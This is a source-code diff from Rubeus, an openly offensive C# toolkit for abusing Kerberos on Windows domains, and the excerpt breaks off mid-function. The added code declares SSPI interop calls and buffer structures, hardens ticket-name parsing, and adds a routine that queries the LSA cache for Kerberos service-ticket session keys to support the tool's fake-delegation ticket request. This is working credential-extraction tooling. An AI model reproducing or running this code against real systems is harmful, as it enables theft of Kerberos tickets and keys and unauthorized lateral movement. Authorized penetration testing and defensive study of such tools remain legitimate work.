[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecBuffer : IDisposable
|
||||
{
|
||||
public int cbBuffer;
|
||||
public int BufferType;
|
||||
public IntPtr pvBuffer;
|
||||
|
||||
|
||||
public SecBuffer(int bufferSize)
|
||||
{
|
||||
cbBuffer = bufferSize;
|
||||
BufferType = (int)SecBufferType.SECBUFFER_TOKEN;
|
||||
pvBuffer = Marshal.AllocHGlobal(bufferSize);
|
||||
}
|
||||
|
||||
public SecBuffer(byte[] secBufferBytes)
|
||||
{
|
||||
cbBuffer = secBufferBytes.Length;
|
||||
BufferType = (int)SecBufferType.SECBUFFER_TOKEN;
|
||||
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
|
||||
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
|
||||
}
|
||||
|
||||
public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType)
|
||||
{
|
||||
cbBuffer = secBufferBytes.Length;
|
||||
BufferType = (int)bufferType;
|
||||
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
|
||||
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (pvBuffer != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(pvBuffer);
|
||||
pvBuffer = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public struct MultipleSecBufferHelper
|
||||
{
|
||||
public byte[] Buffer;
|
||||
public SecBufferType BufferType;
|
||||
|
||||
public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType)
|
||||
{
|
||||
if (buffer == null || buffer.Length == 0)
|
||||
{
|
||||
throw new ArgumentException("buffer cannot be null or 0 length");
|
||||
}
|
||||
|
||||
Buffer = buffer;
|
||||
BufferType = bufferType;
|
||||
}
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecBufferDesc : IDisposable
|
||||
{
|
||||
|
||||
public int ulVersion;
|
||||
public int cBuffers;
|
||||
public IntPtr pBuffers; //Point to SecBuffer
|
||||
|
||||
public SecBufferDesc(int bufferSize)
|
||||
{
|
||||
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
|
||||
cBuffers = 1;
|
||||
SecBuffer ThisSecBuffer = new SecBuffer(bufferSize);
|
||||
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
|
||||
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
|
||||
}
|
||||
|
||||
public SecBufferDesc(byte[] secBufferBytes)
|
||||
{
|
||||
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
|
||||
cBuffers = 1;
|
||||
SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes);
|
||||
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
|
||||
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
|
||||
}
|
||||
|
||||
public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray)
|
||||
{
|
||||
if (secBufferBytesArray == null || secBufferBytesArray.Length == 0)
|
||||
{
|
||||
throw new ArgumentException("secBufferBytesArray cannot be null or 0 length");
|
||||
}
|
||||
|
||||
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
|
||||
cBuffers = secBufferBytesArray.Length;
|
||||
|
||||
//Allocate memory for SecBuffer Array....
|
||||
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers);
|
||||
|
||||
for (int Index = 0; Index < secBufferBytesArray.Length; Index++)
|
||||
{
|
||||
//Super hack: Now allocate memory for the individual SecBuffers
|
||||
//and just copy the bit values to the SecBuffer array!!!
|
||||
SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType);
|
||||
|
||||
//We will write out bits in the following order:
|
||||
//int cbBuffer;
|
||||
//int BufferType;
|
||||
//pvBuffer;
|
||||
//Note that we won't be releasing the memory allocated by ThisSecBuffer until we
|
||||
//are disposed...
|
||||
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
|
||||
Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer);
|
||||
Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType);
|
||||
Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (pBuffers != IntPtr.Zero)
|
||||
{
|
||||
if (cBuffers == 1)
|
||||
{
|
||||
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
|
||||
ThisSecBuffer.Dispose();
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int Index = 0; Index < cBuffers; Index++)
|
||||
{
|
||||
//The bits were written out the following order:
|
||||
//int cbBuffer;
|
||||
//int BufferType;
|
||||
//pvBuffer;
|
||||
//What we need to do here is to grab a hold of the pvBuffer allocate by the individual
|
||||
//SecBuffer and release it...
|
||||
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
|
||||
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
|
||||
Marshal.FreeHGlobal(SecBufferpvBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
Marshal.FreeHGlobal(pBuffers);
|
||||
pBuffers = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] GetSecBufferByteArray()
|
||||
{
|
||||
byte[] Buffer = null;
|
||||
|
||||
if (pBuffers == IntPtr.Zero)
|
||||
{
|
||||
throw new InvalidOperationException("Object has already been disposed!!!");
|
||||
}
|
||||
|
||||
if (cBuffers == 1)
|
||||
{
|
||||
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
|
||||
|
||||
if (ThisSecBuffer.cbBuffer > 0)
|
||||
{
|
||||
Buffer = new byte[ThisSecBuffer.cbBuffer];
|
||||
Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int BytesToAllocate = 0;
|
||||
|
||||
for (int Index = 0; Index < cBuffers; Index++)
|
||||
{
|
||||
//The bits were written out the following order:
|
||||
//int cbBuffer;
|
||||
//int BufferType;
|
||||
//pvBuffer;
|
||||
//What we need to do here calculate the total number of bytes we need to copy...
|
||||
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
|
||||
BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset);
|
||||
}
|
||||
|
||||
Buffer = new byte[BytesToAllocate];
|
||||
|
||||
for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++)
|
||||
{
|
||||
//The bits were written out the following order:
|
||||
//int cbBuffer;
|
||||
//int BufferType;
|
||||
//pvBuffer;
|
||||
//Now iterate over the individual buffers and put them together into a
|
||||
//byte array...
|
||||
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
|
||||
int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset);
|
||||
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
|
||||
Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy);
|
||||
BufferIndex += BytesToCopy;
|
||||
}
|
||||
}
|
||||
|
||||
return (Buffer);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_INTEGER
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
public SECURITY_INTEGER(int dummy)
|
||||
{
|
||||
LowPart = 0;
|
||||
HighPart = 0;
|
||||
}
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_HANDLE
|
||||
{
|
||||
public IntPtr LowPart;
|
||||
public IntPtr HighPart;
|
||||
public SECURITY_HANDLE(int dummy)
|
||||
{
|
||||
LowPart = HighPart = IntPtr.Zero;
|
||||
}
|
||||
};
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SecPkgContext_Sizes
|
||||
{
|
||||
public uint cbMaxToken;
|
||||
public uint cbMaxSignature;
|
||||
public uint cbBlockSize;
|
||||
public uint cbSecurityTrailer;
|
||||
};
|
||||
|
||||
|
||||
|
||||
// functions
|
||||
|
@ -883,15 +1172,6 @@ namespace Rubeus
|
|||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool RevertToSelf();
|
||||
|
||||
//[DllImport("advapi32.dll", SetLastError = true)]
|
||||
//public static extern bool LogonUser(
|
||||
// string pszUsername,
|
||||
// string pszDomain,
|
||||
// string pszPassword,
|
||||
// int dwLogonType,
|
||||
// int dwLogonProvider,
|
||||
// ref IntPtr phToken);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
|
@ -903,20 +1183,6 @@ namespace Rubeus
|
|||
int TokenInformationLength,
|
||||
out int ReturnLength);
|
||||
|
||||
//[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
//public static extern bool CreateProcessAsUser(
|
||||
// IntPtr hToken,
|
||||
// string lpApplicationName,
|
||||
// string lpCommandLine,
|
||||
// ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
// ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
// bool bInheritHandles,
|
||||
// uint dwCreationFlags,
|
||||
// IntPtr lpEnvironment,
|
||||
// string lpCurrentDirectory,
|
||||
// ref STARTUPINFO lpStartupInfo,
|
||||
// out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
|
@ -953,5 +1219,45 @@ namespace Rubeus
|
|||
public static extern uint LsaFreeReturnBuffer(
|
||||
IntPtr buffer
|
||||
);
|
||||
|
||||
// adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext
|
||||
[DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern int AcquireCredentialsHandle(
|
||||
string pszPrincipal, //SEC_CHAR*
|
||||
string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative"
|
||||
int fCredentialUse,
|
||||
IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID
|
||||
IntPtr pAuthData,//PVOID
|
||||
int pGetKeyFn, //SEC_GET_KEY_FN
|
||||
IntPtr pvGetKeyArgument, //PVOID
|
||||
ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref
|
||||
ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref
|
||||
);
|
||||
|
||||
[DllImport("secur32.dll", SetLastError = true)]
|
||||
public static extern int InitializeSecurityContext(
|
||||
ref SECURITY_HANDLE phCredential,//PCredHandle
|
||||
IntPtr phContext, //PCtxtHandle
|
||||
string pszTargetName,
|
||||
int fContextReq,
|
||||
int Reserved1,
|
||||
int TargetDataRep,
|
||||
IntPtr pInput, //PSecBufferDesc SecBufferDesc
|
||||
int Reserved2,
|
||||
out SECURITY_HANDLE phNewContext, //PCtxtHandle
|
||||
out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc
|
||||
out uint pfContextAttr, //managed ulong == 64 bits!!!
|
||||
out SECURITY_INTEGER ptsExpiry //PTimeStamp
|
||||
);
|
||||
|
||||
[DllImport("secur32.dll")]
|
||||
public static extern int DeleteSecurityContext(
|
||||
ref SECURITY_HANDLE phContext
|
||||
);
|
||||
|
||||
[DllImport("secur32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int FreeCredentialsHandle(
|
||||
[In] ref SECURITY_HANDLE phCredential
|
||||
);
|
||||
}
|
||||
}
|
|
@ -1,8 +1,10 @@
|
|||
using System;
|
||||
using Asn1;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Rubeus
|
||||
|
@ -518,7 +520,7 @@ namespace Rubeus
|
|||
// copy unicode chars to the new location
|
||||
Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
|
||||
|
||||
// update the target name buffer ptr
|
||||
// update the target name buffer ptr
|
||||
Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
|
||||
|
||||
// actually get the data
|
||||
|
@ -532,18 +534,62 @@ namespace Rubeus
|
|||
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
|
||||
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
|
||||
|
||||
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();
|
||||
string serviceName = "";
|
||||
if (response.Ticket.ServiceName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
if (serviceNameStruct.NameCount == 1)
|
||||
{
|
||||
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
serviceName = serviceNameStr1;
|
||||
}
|
||||
else if (serviceNameStruct.NameCount == 2)
|
||||
{
|
||||
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
|
||||
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
|
||||
string targetName = "";
|
||||
if (response.Ticket.TargetName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();
|
||||
if (targetNameStruct.NameCount == 1)
|
||||
{
|
||||
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
targetName = targetNameStr1;
|
||||
}
|
||||
else if (targetNameStruct.NameCount == 2)
|
||||
{
|
||||
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
|
||||
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
|
||||
string clientName = "";
|
||||
if (response.Ticket.ClientName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
if (clientNameStruct.NameCount == 1)
|
||||
{
|
||||
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
clientName = clientNameStr1;
|
||||
}
|
||||
else if (clientNameStruct.NameCount == 2)
|
||||
{
|
||||
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
|
||||
clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
|
||||
|
||||
string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
|
||||
string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
|
||||
|
@ -760,18 +806,62 @@ namespace Rubeus
|
|||
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
|
||||
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
|
||||
|
||||
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim();
|
||||
string serviceName = "";
|
||||
if (response.Ticket.ServiceName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
if (serviceNameStruct.NameCount == 1)
|
||||
{
|
||||
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
serviceName = serviceNameStr1;
|
||||
}
|
||||
else if (serviceNameStruct.NameCount == 2)
|
||||
{
|
||||
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
|
||||
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
|
||||
string targetName = "";
|
||||
if (response.Ticket.TargetName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim();
|
||||
if (targetNameStruct.NameCount == 1)
|
||||
{
|
||||
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
targetName = targetNameStr1;
|
||||
}
|
||||
else if (targetNameStruct.NameCount == 2)
|
||||
{
|
||||
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
|
||||
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
|
||||
string clientName = "";
|
||||
if (response.Ticket.ClientName != IntPtr.Zero)
|
||||
{
|
||||
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
if (clientNameStruct.NameCount == 1)
|
||||
{
|
||||
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
clientName = clientNameStr1;
|
||||
}
|
||||
else if (clientNameStruct.NameCount == 2)
|
||||
{
|
||||
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
|
||||
clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
|
||||
}
|
||||
else { }
|
||||
}
|
||||
|
||||
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
|
||||
|
||||
string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
|
||||
string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
|
||||
|
@ -1128,5 +1218,358 @@ namespace Rubeus
|
|||
Console.WriteLine(" KeyType : {0}", keyType);
|
||||
Console.WriteLine(" Base64(key) : {0}\r\n", b64Key);
|
||||
}
|
||||
|
||||
public static byte[] GetEncryptionKeyFromCache(string target, Interop.KERB_ETYPE etype)
|
||||
{
|
||||
// gets the cached session key for a given service ticket
|
||||
// used by RequestFakeDelegTicket
|
||||
|
||||
int authPack;
|
||||
IntPtr lsaHandle;
|
||||
int retCode;
|
||||
string name = "kerberos";
|
||||
byte[] returnedSessionKey;
|
||||
Interop.LSA_STRING_IN LSAString;
|
||||
LSAString.Length = (ushort)name.Length;
|
||||
LSAString.MaximumLength = (ushort)(name.Length + 1);
|
||||
LSAString.Buffer = name;
|
||||
|
||||
retCode = Interop.LsaConnectUntrusted(out lsaHandle);
|
||||
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
|
||||
|
||||
int returnBufferLength = 0;
|
||||
int protocalStatus = 0;
|
||||
IntPtr responsePointer = IntPtr.Zero;
|
||||
Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
|
||||
Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
|
||||
|
||||
// signal that we want encoded .kirbi's returned
|
||||
request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
|
||||
request.CacheOptions = (uint)Interop.KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
|
||||
request.EncryptionType = (int)etype;
|
||||
|
||||
// target SPN to fake delegation for
|
||||
Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(target);
|
||||
request.TargetName = tName;
|
||||
|
||||
// the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
|
||||
// for KerbRetrieveEncodedTicketMessages
|
||||
|
||||
// create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
|
||||
int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
|
||||
int newStructSize = structSize + tName.MaximumLength;
|
||||
IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
|
||||
|
||||
// marshal the struct from a managed object to an unmanaged block of memory.
|
||||
Marshal.StructureToPtr(request, unmanagedAddr, false);
|
||||
|
||||
// set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
|
||||
IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
|
||||
|
||||
// copy unicode chars to the new location
|
||||
Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
|
||||
|
||||
// update the target name buffer ptr
|
||||
Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
|
||||
|
||||
// actually get the data
|
||||
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
|
||||
|
||||
// translate the LSA error (if any) to a Windows error
|
||||
uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
|
||||
|
||||
if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
|
||||
{
|
||||
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
|
||||
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
|
||||
|
||||
// extract the session key
|
||||
Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType;
|
||||
Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
|
||||
byte[] sessionKey = new byte[sessionKeyLength];
|
||||
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
|
||||
|
||||
//string serviceName = "";
|
||||
//if (response.Ticket.ServiceName != IntPtr.Zero)
|
||||
//{
|
||||
// Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
// if (serviceNameStruct.NameCount == 1)
|
||||
// {
|
||||
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
// serviceName = serviceNameStr1;
|
||||
// }
|
||||
// else if (serviceNameStruct.NameCount == 2)
|
||||
// {
|
||||
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
|
||||
// string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
|
||||
// serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
|
||||
// }
|
||||
// else { }
|
||||
//}
|
||||
|
||||
|
||||
//string targetName = "";
|
||||
//if (response.Ticket.TargetName != IntPtr.Zero)
|
||||
//{
|
||||
// Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
// if (targetNameStruct.NameCount == 1)
|
||||
// {
|
||||
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
// targetName = targetNameStr1;
|
||||
// }
|
||||
// else if (targetNameStruct.NameCount == 2)
|
||||
// {
|
||||
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
|
||||
// string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
|
||||
// targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
|
||||
// }
|
||||
// else { }
|
||||
//}
|
||||
|
||||
|
||||
//string clientName = "";
|
||||
//if (response.Ticket.ClientName != IntPtr.Zero)
|
||||
//{
|
||||
// Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
|
||||
// if (clientNameStruct.NameCount == 1)
|
||||
// {
|
||||
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
// clientName = clientNameStr1;
|
||||
// }
|
||||
// else if (clientNameStruct.NameCount == 2)
|
||||
// {
|
||||
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
|
||||
// string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
|
||||
// clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
|
||||
// }
|
||||
// else { }
|
||||
//}
|
||||
//Console.WriteLine("ServiceName: {0}", serviceName);
|
||||
//Console.WriteLine("TargetName: {0}", targetName);
|
||||
//Console.WriteLine("ClientName: {0}", clientName);
|
||||
|
||||
returnedSessionKey = sessionKey;
|
||||
}
|
||||
else
